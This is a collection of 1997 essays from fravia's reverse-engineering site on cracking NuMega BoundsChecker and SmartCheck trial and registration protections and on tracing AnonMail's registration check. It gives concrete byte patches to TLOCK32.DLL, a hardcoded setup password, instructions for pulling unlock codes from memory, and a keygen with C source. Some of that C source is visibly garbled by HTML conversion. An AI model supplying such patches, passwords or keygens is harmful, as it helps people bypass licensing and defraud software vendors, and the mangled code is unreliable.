to TLOCK32.DLL, so it is either dynamically loaded or loaded by

http://www.instinct.org/fravia/bouche.htm (3 of 6) [2/7/2001 3:10:52 PM]


bouche

some other DLL (BTW in the disassembly one can see a lot more
imports then the Quick view is displaying).

Where is TLOCK32.DLL search, aha! Its in windows\system, possibly


a file that is not removed by the uninstaller.
But since Im here lets see what the dialog does. I put a breakpoint
one line in front of the call to DialogBoxParamA (and GO); back
in windows I close the dialog with Cancel and open it again with
Run. In SoftIce again: some pushes before the call to DialogBoxParamA,
there is the address of the callback for this dialog pushed, I put
a breakpoint on the callback and remove the one inside DialogBoxParamA.
Go! And back in SoftIce inside the dialog callback function. BC must
now initialize the controls to display how far in the trial we are.
I step through the code and find some GetDlgItem and SetWindowTextA
calls and then a suspicios looking section where a memory location
is compared to 1,2 and 4. That looks like a flag!
The corresponding jumps go to quite large blocks of code inside the
callback, maybe I am lucky and they do something to the state of the
application here. I remove all breakpoints and set one right in
front of that compare section. GO! Back in windows (after closing
the dialog with Cancel) I advance my system date by two days. Press
Run... SoftIce pops up the flag (loaded to EAX) holds a 2, GO! 12
Days left in the blue bar and the message inside the box saying 12
Days left. Cancel and again Run SoftIce, EAX is still 2, I change
to 1. GO!
GOTCHA! 14 Days left! Beauty!
Cancel, and advance the date by one year, Run ... back in SoftIce
the flag (EAX) is 4, GO! Trial expired, no Blue anymore, Cancel!
And Run SoftIce: The Flag is still 4, change it to 1, GO! But now,
still Trial expired whats that? I thought I had it, Cancel and
Run ... now the flag is 2, whats that? GO! Ahhh! Blue! and 14 Days
left. And now press OK, the Bugbench starts and I try some Errors,
it works BC displays them. So it is only a matter of the initialization
of the dialog controls. When the trial is over you can set the flag
to 1 and the trial will begin anew. All you must do is close the dialog
and reopen it again; you will get a new trial period.

Now I disassemble TLOCK32 and here I find the answer why I didnt
catch the GetSystemTime calls, Simple! GetSystemTime is not called
- they call GetLocalTime. Something to remember.

So what do I do with that flag?


I change from:
:100029EA 7417 je 10002A03 // New trial
crk :100029EA 7517 jne 10002A03

Start BC again, load Bugbench and press Run and and and...
NOTHING! No dialog no starting Bugbench, nothing!
Why that? Maybe a there is a checksum? I look again at the
TLOCK32.ASM file.
Then I change:
:100029EC 83F802 cmp eax, 00000002 // Whithin trial
crk :100029EC 83F801 cmp eax, 00000001

http://www.instinct.org/fravia/bouche.htm (4 of 6) [2/7/2001 3:10:52 PM]


bouche

Start BC, load Bugbench and press Run, here we go, the dialog
pops up and after OK Bugbench starts.
I play around with some dates and it works fine.
Here is the section where the flag is compared completely.
:100029E2 A198FA0010 mov eax, [1000FA98] // This seams to be a sort of flag
:100029E7 83F801 cmp eax, 00000001 // new trial
:100029EA 7417 je 10002A03
crk :100029EA 7517 jne 10002A03 // checksum is 1+
:100029EC 83F802 cmp eax, 00000002 // Whithin trial
crk :100029EC 83F801 cmp eax, 00000001
:100029EF 0F848F000000 je 10002A84 //also for checksum -1
:100029F5 83F804 cmp eax, 00000004 // trial is over
:100029F8 0F8466010000 je 10002B64
:100029FE E981010000 jmp 10002B84

I think this approach has its own beauty because it displays the
protection dialog and thereby lets you remember the great victory
of the past. But when you start your compiler, the dialog is also
displayed and since we know now where BC stores its state, lets see
if we cannot get ride of that dialog completely.
The questions that come to mind are (at least to me):
What about the flag being equal 3? What does the flag value 3
tell BC about its state?
Some playing with the flag (and SoftIce) soon gives the friendly
answer:
YES! 3 means, BC has been purchased. Some more playing with memory
read/write breakpoints gives the location where it is easy to
change a byte and a second to make the checksum happy. Here is
what I changed so that there is no dialog popping up anymore
(still inside TLOCK32.DLL):


:100011F9 DFE0 fbld tbyte ptr eax
:100011FB F6C401 test ah, 01

/// and here I crack for no dialog


:100011FE 752e jne 1000122e
crk :100011FE 7500 jne 10001200 // checksum difference is 2e

:10001200 BE04000000 mov esi, 00000004


crk :10001200 BE03000000 mov esi, 00000003 // checksum difference is 2f

:10001205 EB27 jmp 1000122E


:10001207 BE04000000 mov esi, 00000004
crk :10001207 BE052e0000 mov esi, 00002e05 // for checksum only , back to 0

:1000120C E8CF090000 call 10001BE0


:10001211 6A00 push 00000000
:10001213 E8F8010000 call 10001410

Of course there are a lot more ways to crack this, mine is just one
of them. I must also say that I have been extremely lucky to find
the code (with the flag-compare) inside the dialogs callback fairly
soon. If I hadnt, I might not have gone back to the callback.

http://www.instinct.org/fravia/bouche.htm (5 of 6) [2/7/2001 3:10:52 PM]


bouche

But, to speak with +ORC, sometimes you need some Zen.

Someone may ask, where the installation date is stored... I must


admit that I still dont know that, but I also dont care much,
because Im not going to break into my locked main door when my
bathroom window is open.

Harwi, 05 July 1997

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms mailFraVia

Is reverse engineering legal?

http://www.instinct.org/fravia/bouche.htm (6 of 6) [2/7/2001 3:10:52 PM]


shadow1

BoundsChecker 5.02 Visual C++ Edition


(hardcoded serial numbers)

by Shadow
(21 October 1997)

Courtesy of fravia's page of reverse engineering

Well, a good work by Shadow. BoundsChecker is a VERY IMPORTANT tool, because, as Quine wrote to me a couple of days
ago:
...NuMega is the greatest software company in the world). BC will actually let create validation modules for dlls other than the
M$ system dlls and let you INSERT YOUR OWN CODE right into them! I have experiment with this a little, but, of course,
the possibilities are incredible...

Therefore this very interesting add-on to project 2 by Shadow is a welcomed essay, that you should heed from a
methodological point as well...
I can only say, like Shadow, that I too "expected more from NuMega"!
Enjoy!

How to write a Key-Maker for BoundsChecker 5.02 Visual C++ Edition


------------------------------------------------------------------
by Shadow

If you don't have BC 5.0 already get bc502sp_v.exe directly from NuMegas,
hurry up I think they'll take it off the site very soon.
The File should be 8785166 Byte long. Install it, it will ask for a SN,
just ignore it.

I'm using SoftIce 3.2 to crack it.


OK let's start this thing and break into SoftIce at the Purchase-Window.

Set a Breakpoint at GetWindowText: BPX GetWindowText


and out of SoftIce again (F5).

Now type in something in the Dialog:


I used Key: 1234567890123456
Name: Shadow
Company: -

Also write down the shown SerialNumber (it's a random Number choosen at the
Installation) I have 6202435827700841

And press OK.

Well here we are in SoftIce again:

Press F12 until you are in the BoundsChecker-Code

014F:14F3E7B CALL [015063DC]

http://www.instinct.org/fravia/shadow1.htm (1 of 5) [2/7/2001 3:10:55 PM]


shadow1

PUSH 00002334 <----- Here we get out OK let's delete the


GetWindowText-Breakpoint and set here one for later use. (May be useful) BC 0 BPX
014f:14F3E7B Now we are searching for the Key-Code we entered. S 0 L FFFFFFFF
'1234567890123456' You'll find it at 0157:0066E388 Any other occurences ? S
0157:0066E389 '1234567890123456' Yes at 0157:83A61C52, but that one is not of
interest, because above 80000000. We also search for the SerialNumber and find it at
0157:015010EC 0157:015044E0 0157:01504585 Now I'm setting some Range-Breakpoints on
the Strings: BPR 157:0066E388 157:0066E388+F R BPR 157:015010EC 157:015010EC+F R . .
. And run the thing again (F5) We get back into SoftIce: "Break due to BPR
#0157:15044E0 +150:015044EF R" OK, BC is trying to read the SN let's take a closer
look: 014F:014F28C6 PUSH 1501070 LEA EAX,[EBP-04] PUSH EAX INC ESI CALL 14F4E80 ADD
ESP,08 LEA ECX,[ESP-04] 014F:014F28BD MOVSX EAX, BYTE PTR [ESI:015044DF] ; Here
SoftIce Pops Up PUSH EAX ; (EAX="1st" Number of SN) PUSH 015014B8 PUSH ECX CALL
14F4E10 ADD ESP,0C LEA ECX,[EBP-04] PUSH ECX CALL 14F4E00 ADD ESP,04 MOV
[ESI*4+EBP-48],EAX ; Store Number CMP ESI,10 ; Ox10="16" Digits 014F:014F2904 JB
014F28C6 PUSH DWORD PTR [EBP-34] Do you see the the CMP ESI,10 Intruction? Our serial
Number has 16 digits.
Smells like a String to Number conversion. Stepping through the code you will see,
that after CALL 14F4E00 EAX contains the Number equivalent to the first char
of your SN.
That's repeated for all digits of your SN and the Numbers are stored with
MOV [ESI*4+EBP-48],EAX.

Well that is where ?

DB ESI*4+EBP-48 (or just DB EBP-48) will show you that they are stored
from 0157:066E2C4 to 0157:066E303

Cause we don't need the SN-Breakpoints anymore, delete them all.

Let's see how the Code continues:

014F:014F2904 JB 014F28C6
PUSH DWORD PTR [EBP-34] ;P1 (in C the last parameter)
PUSH DWORD PTR [EBP-08] ;P2
PUSH DWORD PTR [EBP-5C] ;P3
PUSH DWORD PTR [EBP-28] ;P4
PUSH DWORD PTR [EBP-44] ;P5 (in C the first parameter)
CALL 014F257B
ADD ESP,14
MOV [EBP-009C],EAX

PUSH DWORD PTR [EBP-30]


PUSH DWORD PTR [EBP-0C]
PUSH DWORD PTR [EBP-58]
PUSH DWORD PTR [EBP-2C]
PUSH DWORD PTR [EBP-40]
CALL 014F257B
ADD ESP,14
MOV [EBP-009C],EAX

A DB [EBP-34] will show you, that the PUSHES push digits from our SN and then
a function is called. Very Smelly !!!!!!!!!!!

I'm stepping into the function (CALL 014F257B):

http://www.instinct.org/fravia/shadow1.htm (2 of 5) [2/7/2001 3:10:55 PM]


shadow1

014F:014F257B PUSH EBP


MOV EAX,[ESP+08] ;EAX=P5
MOV EBP,ESP
ADD EAX,[ESP+0C] ;EAX=P4+P5
CMP EAX,9 ;if (EAX>9) EAX-=0A
JLE BR1
SUB EAX,0A
BR1: SUB EAX,[EBP+10] ;EAX-=P3
JNS BR2 ;if (EAX<0) EAX+="0A" ADD EAX,0A BR2: ADD
EAX,[EBP+14] ;EAX+="P2" CMP EAX,9 ;if (EAX>9) EAX-=0A
JLE BR3
SUB EAX,0A
BR3: SUB EAX,[EBP+18] ;EAX-=P1
JNS BR4 ;if (EAX<0) EAX+="0A" ADD EAX,0A BR4: POP EBP
RET OK, that is clearly an Key-Code generation Subroutine, get back to the Parameters
The Parameters for the first call are (starting with Digit00) Digit04, Digit15, .....
Hey what's that: that PUSH refers to a location before my SN-Digits let's take a
look, what is there DB 0157:66E2AC 0157:66E2AC 05 00 00 00 00 00 00 00 01 00 00 00 05
00 00 00 0157:66E2BC 09 00 00 00 07 00 00 00 06 00 00 00 02 00 00 00 Scroll up a
little bit to see, if there is more ... No, just these 6 digits: 501597 Hmm, where
are they from ? I will ignore them for now and continue exploring. The
014F257B-Subroutine is called 16-times with different parameters (16="Number" of
digits the Key-Code should have !!!) After calculating, they are stored by the MOV
[EBP-00XX],EAX instruction
into 0157:66E26C to 0157:66E2AB

The Parameters for the 16 Calls are


0-15 = Digits of the SN
P0-P5 are the 6 Numbers found before the SN-Digits (Pre-Numbers)

04,15,P0,07,00
05,14,P1,06,01
06,13,P2,05,02
07,12,P3,04,03
08,11,P4,03,04
09,10,P5,02,05
10,09,P0,01,06
11,08,P1,00,07
11,15,P2,15,08
12,14,P3,14,09
13,13,P4,13,10
14,12,P5,12,11
15,11,P0,11,12
04,10,P1,10,13
05,09,P2,09,14
06,08,P3,08,15

Yes, the numbers stored from 0157:66E26C to 0157:66E2AB are already the Numbers for
the Key-Code !!!
My Key is: 6853562630694845

After the 16 Calls you'll find following Code:

014F:014F2AC1 PUSH 1501070

http://www.instinct.org/fravia/shadow1.htm (3 of 5) [2/7/2001 3:10:55 PM]


shadow1

LEA EAX,[EBP-04]
PUSH EAX
CALL 14F4E80
ADD ESP,08
LEA ECX,[EBP-04]
PUSH DWORD PTR [ESI]
PUSH 015014B4
PUSH ECX
ADD ESI,04
CALL 14F4E10
ADD ESP,0C
LEA ECX,[EBP-04]
LEA EDX,[EBP-B0]
PUSH ECX
PUSH EDX
CALL [0150628C]
LEA ECX,[EBP-5C]
CMP ESI,ECX
JB 14F2AC1
014F:014F2B00 LEA EAX,[EBP-B0]

What do you think is this loop doing. What would you do, if you would want to
compare an Input-String with Numbers ?
Yes, convert one of them.

I execute up to 014F:014F2B00 LEA EAX,[EBP-B0] and nothing


interrupts the execution.
Do you remember the Range-Breakpoint on our Input-Key, so its clear, that this
loop converts the KeyNumbers to a String, if it converts something at all...

I checked this by searching for '6853562630694845' and


BINGO! Found at 157:66E258

Now exit SoftIce again. (F5)

You will get back into SoftIce directly at the Compare-Routine (due to your
Range-BP on the Input-Key)

014F:014F5690 MOV EAX,[EDX]


014F:014F5692 CMP AL,[ECX] <-here you get in Take a look at the Registers and
you'll see that EDX refers to the Calculated (real) Key-Code and ECX to your Input.
Well that's the proof that the numbers are realy the Key-Code. But what's about the
"Pre-Numbers" ? I don't realy know. After installing several times I think I can
guarantee, that they are constant (Wouldn't make any sense to use random numbers
anyway, cause nobody could ever register, if they are independent from the serial
number) I think, they are simply a Version-Number. Numbers: 501597 Official Version
5.02 Maybe Real Version 5.01597 ???? By the way: BC behaves very strange after
registering, removing with its own Un-Installer and Re-Installing it again. If you
ever do it, you'll see that the target has now the SN:0000000000000000 and that BC
seems to miss one of its files. So don't forget to clear the Registry manually before
reinstall BC if you need to reinstall! Only one thing left to do, writing a
Key-Code-Generator: Here is the C-Code:
#include &quot;stdio.h&quot;
#include &quot;ctype.h&quot;

http://www.instinct.org/fravia/shadow1.htm (4 of 5) [2/7/2001 3:10:55 PM]


shadow1

int calc(int n1, int n2, int n3, int n4, int n5)
{
int n;
n=n4+n5;
if (n&gt;9) n-=10;
n-=n3;
if (n<0) n+="10;" n+="n2;" if (n>9) n-=10;
n-=n1;
if (n<0) n+="10;" return n; } void main (void) { char sn[255]; int
ver[6]="{5,0,1,5,9,7};" int ser[16]; char reg[17]; printf("NuMega BoundsChecker V5.02
for Visual C++ Keymaker\nby Shadow in 1997\n\n"); printf("Input Serial-Number: ");
scanf("%s",sn); int sn_ok="1;" for (int i="0;" i<16; i++) { if (!isdigit(sn[i]))
sn_ok="0;" else ser[i]="sn[i]-'0';" } if (sn[16]!="0)" sn_ok="0;" if (sn_ok) { int
n="0;" reg[n++]="calc(ser[" 4],ser[15],ver[0],ser[ 7],ser[ 0])+'0';
reg[n++]="calc(ser[" 5],ser[14],ver[1],ser[ 6],ser[ 1])+'0'; reg[n++]="calc(ser["
6],ser[13],ver[2],ser[ 5],ser[ 2])+'0'; reg[n++]="calc(ser[" 7],ser[12],ver[3],ser[
4],ser[ 3])+'0'; reg[n++]="calc(ser[" 8],ser[11],ver[4],ser[ 3],ser[ 4])+'0';
reg[n++]="calc(ser[" 9],ser[10],ver[5],ser[ 2],ser[ 5])+'0';
reg[n++]="calc(ser[10],ser[" 9],ver[0],ser[ 1],ser[ 6])+'0';
reg[n++]="calc(ser[11],ser[" 8],ver[1],ser[ 0],ser[ 7])+'0';
reg[n++]="calc(ser[11],ser[15],ver[2],ser[15],ser[" 8])+'0';
reg[n++]="calc(ser[12],ser[14],ver[3],ser[14],ser[" 9])+'0';
reg[n++]="calc(ser[13],ser[13],ver[4],ser[13],ser[10])+'0';"
reg[n++]="calc(ser[14],ser[12],ver[5],ser[12],ser[11])+'0';"
reg[n++]="calc(ser[15],ser[11],ver[0],ser[11],ser[12])+'0';" reg[n++]="calc(ser["
4],ser[10],ver[1],ser[10],ser[13])+'0'; reg[n++]="calc(ser[" 5],ser[ 9],ver[2],ser[
9],ser[14])+'0'; reg[n++]="calc(ser[" 6],ser[ 8],ver[3],ser[ 8],ser[15])+'0';
reg[n]="0;" printf("\nRegistration Code: %s\n",reg); } else { printf("\nNot a valid
Serial-Number (must be 16 digits)\n"); } }
That's all.

PS: I expected more from NuMega !

Shadow 1997

(c) Shadow 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

proj 2

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/shadow1.htm (5 of 5) [2/7/2001 3:10:55 PM]


snatch1.htm

An interesting tool: Numega Smartcheck 5.0


Echoing a silly "install" and trial protection scheme
by Snatch

(27 October 1997, slightly edited by fravia+)

Courtesy of fravia's page of reverse engineering


Well... this happens ofter and ofter nowadays: I was preparing my own "An interesting tool: Numega's
Smartcheck 5.0" essay... and Snatch has "snatched" it before me.
Well, the minimum that Snatch can do after having spoiled my "in fieri" essay :-) is to allow me a somehow
long introduction to his essay: here it is.

Smartcheck is an interesting tool indeed... yet you must be careful and set it up corrrectly:
program/settings: Default: detect and report everything
program/settings/advanced: check everything, don't suppress anything
and don't forget to "check program compliance" before delving in... as soon as you use it you'll easily
understand that this program is a very important addition to our tools arsenal.

In fact the real funny question is: "Why does Numega use such stupid protections?". Mind you, we are not
speaking of a small shareware programmer that is using some overbloated language for some overbloated
useless application: we are speaking of the BEST programmers and wizards of assembly in the whole
planet here!

The fact that Numega (which, differently from Micro$oft lamers' park, HAS INDEED A LOT of said good
programmers and wizards) publishes powerful disassembly and reversing tools (Bondcheck, Smartcheck,
Softice...) in downlodable "trial" version with pretty silly protections (as if the kind of people that REALLY
USE such tools were not capable of earing a password echo in memory) can IMO only mean two things:

A) EITHER Numega follows the Micro$oft path of giving away everything for free, in the hope that they
will dominate the disassembler "commercial" markt and get the rewards from "scale" economy.
This may happen: it is clear that the crackers and "simple" programmers of to-day, i.e. a great part of the
people that peruse the many available sites like mine, ARE the reverse engineers of to-morrow (who else?),
and will be able to afford *any* "commercial" fare that Numega will in the future decide for, say,
Smartcheck version 13.0.
B) OR that Numega will bring to light a very tough protections (the mytical "unbreakable" software
protection :-) as soon as their absolute dominance of the market has been asserted. Let's hope they do it
soon: the "protections" (if you really want to call them so) that they are using at the moment are simply too
boring to bother

And here is the short essay by Snatch, sorry for the long introduction

http://www.instinct.org/fravia/snatch1.htm (1 of 3) [2/7/2001 3:10:57 PM]


snatch1.htm

Cracking Numega Smartcheck 5.0


by Snatch

I was recently tipped off that Numega's Smartcheck could


reverse visual basic files so I downloaded the demo from
this site:
ftp://ftp.ultranet.com/pub0/n/numega/files/smchk50.exe (about 7.19 megs)
The first thing I noticed when I ran the setup file was a
password to start the setup program.
So I went into Softice ver 3.21(very nice indeed), and set a bpx
getwindowtext. Then type in a dummy password and click OK.
After stepping through the routine(F10), you find that there is:

CALL USER!GETWINDOWTEXT >> Get what you typed


LEA AX,[BP-32] >> Load AX with address of what you typed
PUSH SS >> Segment of what you typed
PUSH AX >> Offset of what you typed
PUSH DS >> Segment of real password
PUSH 06BA >> Offset of real password
CALL USER!LSTRCMP >>Comparison of strings at ss:ax and ds:09d6

Next you do a dump of 06ba:


d ds:06ba l 64

You should see the password, &Smc50-14d% there in front of your eyes.
Type bd * to disable your breakpoints, ctl-d to run and get an error,
and then run the setup again and type the right password to bypass
that silly message.
Now we are one-fourth of the way done! It was that easy!
After going through a few screens, you will see your name, company plus
a serial number! I tried to crack the serial number but gave up.
Don't worry, we can still crack this later on, and much easier and
quicker. So simply install it. And run it :-)
Now load a program (must be 32-bit which is why this program won't
help me too much with vb programs). Now try program and start.
Uh-Oh! Name of thr trial user, blue "trial meter" and registration
number.
Phew!, there is a purchase button. Let's click it. Here it is,
unlock code and all. Nice, lets go back to the debugger.

http://www.instinct.org/fravia/snatch1.htm (2 of 3) [2/7/2001 3:10:57 PM]


snatch1.htm

be * for our breakpoints to be re-enabled.


Now enter your name and company and a dummy password.
BOOM! your in the debugger. Now step and step and step and step
until you get to a patch of code that looks like this:

ADD ESP,04
LEA EAX,[EBP-14] >> Your password
LEA ECX,[EBP-28] >> The correct password
PUSH EAX >> Your password
PUSH ECX >> The correct password
CALL 10005680

Here you have it! Type a d ecx l 64, and the first 16 bytes are
the right code.
Numega is using a hashing of your name and password and reg number
to get the code so for everyone the code will be different.
Now back to reality, write down those 16 numbers and disable
your breakpoints,
bd *,
now ctl-d.
Keep your name and company the same, enter the password in and you
are a *registered* user of numega smartcheck 5.0, with your own user
name and password!

**Note, you could have probably reversed this protection scheme,


also, individuating both passwords I have described by editing the
memory and changing the jumps to noop's but I "trust more" the real
and correct password!

Snatch '97

(c) Snatch, 1997. All rights reversed.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to project 7 (stupid protections) Back to project 2 (Numega's own)

homepage links anonymity +ORC students' essays tools cocktails


academy database antismut search_forms mail_fravia
is reverse engineering legal?

http://www.instinct.org/fravia/snatch1.htm (3 of 3) [2/7/2001 3:10:57 PM]


anonma2.htm

Like watching a movie!


(An interesting tool: Numega's Smartcheck)
by fravia+

(7 November 1997)
Courtesy of fravia's page of reverse engineering (of course :-)

Anonmail version 1.2 catastrophe


how to defeat all visual basic 5 protections
in fact: how to reverse any windoze target!

(From the interview: 'Smartchecking targets')

Q.: Mr fravia+, what did you experienced the first time you took
this Smartcheck tool for a ride?
A.: A great feeling of power, supreme 'might' and a sort of
real quiet, and a calm and peace of mind I cannot describe.
Everything around me seemed so 'correct', so 'how it should always
have been'... I don't know if you can understand me... look, just
try it yourself: I do believe that Smartcheck represents the right
way to "feel" the code of our targets, at least in part, in that
mystical 'zen' way that +ORC describes so well in his tut. I'm so
happy about this toy that I have even added, extra for this essay,
some nice 'Numega-similar' graphic bars, hope somebody will
appreciate them.

Dear readers, I'm quite moved by this tool, you'll excuse me, I'm
even seriously thinking to buy it (once my ALLOWED trial time will
have expired, of course). Let's keep it short: you want to learn
how to reverse engineer windows targets? Use Smartcheck on your
own... you'll be amazed about what's going on under the hood (and
under the hooey).

Smartcheck, by Numega's Technologies, is a program that was


originally conceived as a tool for checking visual basic runtime
errors. Being Numega's programmers the smartass wizards that they
are, they produced a tool that is the ALPHA AND OMEGA of all
program flow analysers that I have ever seen (and I have seen
quite a lot of them, believe me, I even wrote my own ones).

Forget Visual Basic, forget error checking, you'll use this tool
in order to see GRAPHICALLY and with an incredible depth the flow
of ALIEN code, i.e. what your target is doing, wherever the
programmer has hidden his routines, whatever he has called them!

As long as you can interact with the target you'll get the full
picture of your target's inner working.

Sounds too good to be true? Wait and see. In the mean time
download IMMEDIATELY the free trial version of this tool from
Numega's site (see the essay by Snatch for more details on it).

http://www.instinct.org/fravia/anonma2.htm (1 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm
As target for this essay I have chosen AnonMail, version 1.2,
by Mark Leary, Peanuts software, somewhere in Massachusetts.
An interesting little program that should allow you to send
email anonymously, something that can always come handy, I
believe, unfortunately the shareware version of this program
seems curiously to have a lot of reduced functionalities, which
hamper any possibility to try it out fully and without restrictions
in order to see if it is worth 15 bucks (it probably is, btw, yet
I prefer other methods to send mail anonymously).

PNut's WWW site is located at http://www.pnutsoftware.com.


ANONMAIL.EXE: 105.984 bytes
Alternatively you may fetch this program from many magazine
CD-ROMs, I fetched mine from PCTeam CD-Pro n.27, a french mag
that +ORC himself pointed me to long ago (I'm not French and
I hate software that has been translated from English, as the
French way too often choose to do, yet this mag-CD is VERY good, a
must for software collectors)

First of all, you should learn how to CONFIGURE smartcheck to


suit our purposes, and this is jolly uselessly complicated...
may be Numega did not want to be too obviously producing a tool
for crackers :-) may be the next version will take care of
this (this downloadable version is still a sort of beta).

Here are the steps for MAXIMUM detail (even too many details, as
you will see, yet I want to give you the full picture immediately :-)
Load target (option File open)
View: all events (specific events is also very good, as you'll discover),
arguments,
sequence numbers.

NOW, once loaded the target, select settings


(and you'll get a menu with 5 tabs, not three)
save these settings as default values (very important)
error suppression, advanced, "DO NOT suppress api calls"
and "report errors even if"

That's it, NOW, once you have made these settings, (you
will learn how to fine tune them later) run the target
inside Smartcheck, sit comfortable on your chair, set
some nice music on (what about Vivaldi?), drink your
favourite cocktail and watch the movie.

run anonmail.exe

OK, you'll have more than 20.000 (twenty thousand) lines


of report, that you'll now peruse. Clearly there are much
too many irrelevant operations recorded. Just learn how to
fine tune SmartCheck, in order to get ONLY the reports you
need (a good idea would be to read the help file, btw). As
you can see, on the left, you can 'expand' or 'collapse' the
depth of information. Note that there are three 'panes' inside
'program result', the source code one will not interest us
very much, I'm afraid, since unfortunately most of the time
we do not happen to have the source code for our targets, but
the 'details-call' pane is VERY important, and will appear
every time you click on an 'event' that has interested you
inside the main program event pane of the program result
window.
I wanted to show you every possible track, just in order to

http://www.instinct.org/fravia/anonma2.htm (2 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm
give you a broad feeling of this marvellous toy.

There are two options for working with SmartCheck's own dead
listing, which can be quite handy to print out and peruse at
leisure... actually, you will just 'Smartcheck' a target and
then have a look at the program event pane of the program
result window and then print the relevant parts, and then
sit down in a nice chair and crack everything with your
MIND, sipping your favourite cocktail :-)
Also, you may either save everything as *.sce file or you may
choose preview print, look at the page numbers (above, right)
that interests you and print only those pages.

So we started Smartcheck, and what do we notice smack at the


beginning? Here is what you see:

AnonMail.exe - Program Results 11/05/97 13:38:12

ANONMAIL.EXE!12036 (StringKey=RegNum)
GetSettings String appname "AnonMail" (406750, look in the right 'pane')
String section "Registration" (406FB4)
String key "RegNum" (406FD4)
default variant
String .bstrVal "0" (406FE8)

So, just at the beginning the target is assigning


NULL to RegNum.
And then:

ANONMAIL.EXE!1206C (StringKey=Name)
GetSettings String appname "AnonMail" (406750)
String section "Registration" (406FB4)
String key "Name" (406FF0)
default variant
String .bstrVal "Loser" (407000)

That's really jolly nice of them. So we all start this app


with RegNum=NULL and Name=Loser... no wonder we are unregistered!

What happen afterwards?

ANONMAIL.EXE!12234 (to string1)


Len(String:"Loser") returns: L0NG 5 (425DC0)

Yes, we get the length of the Loser string and then


ANONMAIL.EXE!1223C (long to integer 5)

As you can see, it's like watching a commented movie of the


behaviour of our target's protection scheme!

I will not annoy you with the following steps: Smartcheck


gives you a complete commented disassembly of EVERYTHING
that our target does:
at 1227C
Takes substring "variant" from string "Loser" (425DC0)
And returns, for the first letter "L", the value (at 425DD8)
integer 76 (which is 'L')
Then it does the same with 'o', 's', 'e', and finally 'r'.

http://www.instinct.org/fravia/anonma2.htm (3 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm

Now at ANONMAIL.EXE!122ED
(event 55 of the list) long gives an error code (no more
characters: string "Loser" is finished)

ANONMAIL.EXE!12321 confirms that this string was 5 char long.


and we are back at

ANONMAIL.EXE!1217F with the main caption UNREGISTERED.

So, that was it. We wouldn't even need to type our own strings
inside the "register-me" window (nor to use softice) to crack
this target. It is clear, we 'feel' it... look: we FEEL it!
that the protection scheme of this crap dwells somewhere
between 122ED and 12321. You just need to load a dead listing
from somewhere and have a sort look. Between these locations
there is only ONE compare (actually a test ah,40h) and that's
what you have to fumble with.

Yet let's go on nevertheless, for didactical purposes (choosing


'register' from the program options,

open the registration box of the target


type a dummy name and a dummy serial number (fravia and 12121212)
press OK

and we'll see that at

11E70 the target gets MnuToolsRegister_Click

then it goes over to MSVBVM50.DLL!3CD23 in order to create the


Register Form and the various command buttons... btw you'll
easily see now that the created txtRegCode (TextBox) has value
24EDAAC and that the txtName(TextBox) has the value 24EDBC0.

Now we are back to ANONMAIL.EXE!11F12 for the


Register.show routine, which on cmdOK_Click
(i.e. after that you have entered your bogus data)
at ANONMAIL.EXE!17000 (note how protectionists use often very
easy to remember code locations for their crap, here 17000 :-)

so, then at ANONMAIL.EXE!17090 our target collects txtName.Text


(which in my case is obviously 'fravia')
at 170D1 the target then collects txtRegCode.Text (which in my
case is '1212121212')

Now we are back at ANONMAIL.EXE!1227C-12291 for the transformation


of fravia into its relative ASCII decimal codes: 102(f)-114(r)-97(a)
-118(v)-105(i)-97(a) (and all these letters are stored at 425DC0)

Now at ANONMAIL.EXE!12302 the string "12121212" will be transformed in


a numeric value (we entered it as a string, the target needs a number)

At ANONMAIL.EXE!12321 we have a length check: 6 chars are reported.

Then the target, at ANONMAIL.EXE!1732E, gives you its pathetic


'Invalid Registration Code' string (which dwells at 4215BC).

Once more: between 12302 and 12321! Even less bytes! Only 19 bytes
to peruse! Ah!

http://www.instinct.org/fravia/anonma2.htm (4 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm
Do you begin to grasp what this mean or do you really need more
explanations in order to understand the potentialities of all this?

Well, if you want more: have more and see how it looks like 'translated':

Smartcheck's
ANONMAIL.EXE!12036 (StringKey=RegNum)
GetSettings String appname "AnonMail" (406750, look in the right window)
String section "Registration" (406FB4)
String key "RegNum" (406FD4)
default variant
String .bstrVal "0" (406FE8)

translates into the following disassembled code snippet:


:00412018 B8E86F4000 mov eax, 00406FE8
:0041201D 68D46F4000 push 00406FD4
:00412022 894208 mov dword ptr [edx+08], eax
:00412025 68B46F4000 push 00406FB4
:0041202A 6850674000 push 00406750
:0041202F C745FC48114000 mov [ebp-04], 00401148
:00412036 897A0C mov dword ptr [edx+0C], edi
:00412039 FFD3 call ebx

And, among many other interesting things, we now know that this
ebx, called here at 12039 is a GetSetting function.

ANONMAIL.EXE!1206C (StringKey=Name)
GetSettings String appname "AnonMail" (406750)
String section "Registration" (406FB4)
String key "Name" (406FF0)
default variant
String .bstrVal "Loser" (407000)

Translates into:

:00412050 B800704000 mov eax, 00407000


:00412055 68F06F4000 push 00406FF0
:0041205A 68B46F4000 push 00406FB4
:0041205F 890A mov dword ptr [edx], ecx
:00412061 6850674000 push 00406750
:00412066 897204 mov dword ptr [edx+04], esi
:00412069 894208 mov dword ptr [edx+08], eax
:0041206C 897A0C mov dword ptr [edx+0C], edi
:0041206F FFD3 call ebx

(Note that both times the target locations given by SmartCheck


ANONMAIL.EXE!12036 and ANONMAIL.EXE!1206C are the location
IMMEDIATELY PRECEDING the calls, which here are calls to
MSVBVM50.rtcGetSetting, Ord:02B1h).

OK, we could republish the whole movie that we have seen above
WITH the disassembled listing aside, to show you how easily you
can fetch whatever part of a target's code you fancy from your
disassembly NO MATTER WHAT FUNNY NAMES have been given by the
protectionists or what strange *.DLL HAVE BEEN CALLED BY THE
MAIN TARGET CODE, yet it is not necessary: We can directly go
where some work awaits us.

I'll repeat it, in case you were not listening: when we are doing
our 'Smartcheck cracking' we DON'T even have to use names or

http://www.instinct.org/fravia/anonma2.htm (5 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm
labels of any kind!!
No more search and replaces inside our wordprocessors, nor any
need to use any more the (mighty) renaming function of IDA...
and what about Softice? We'll use it may be once or twice a year
if things should get really tough :-)

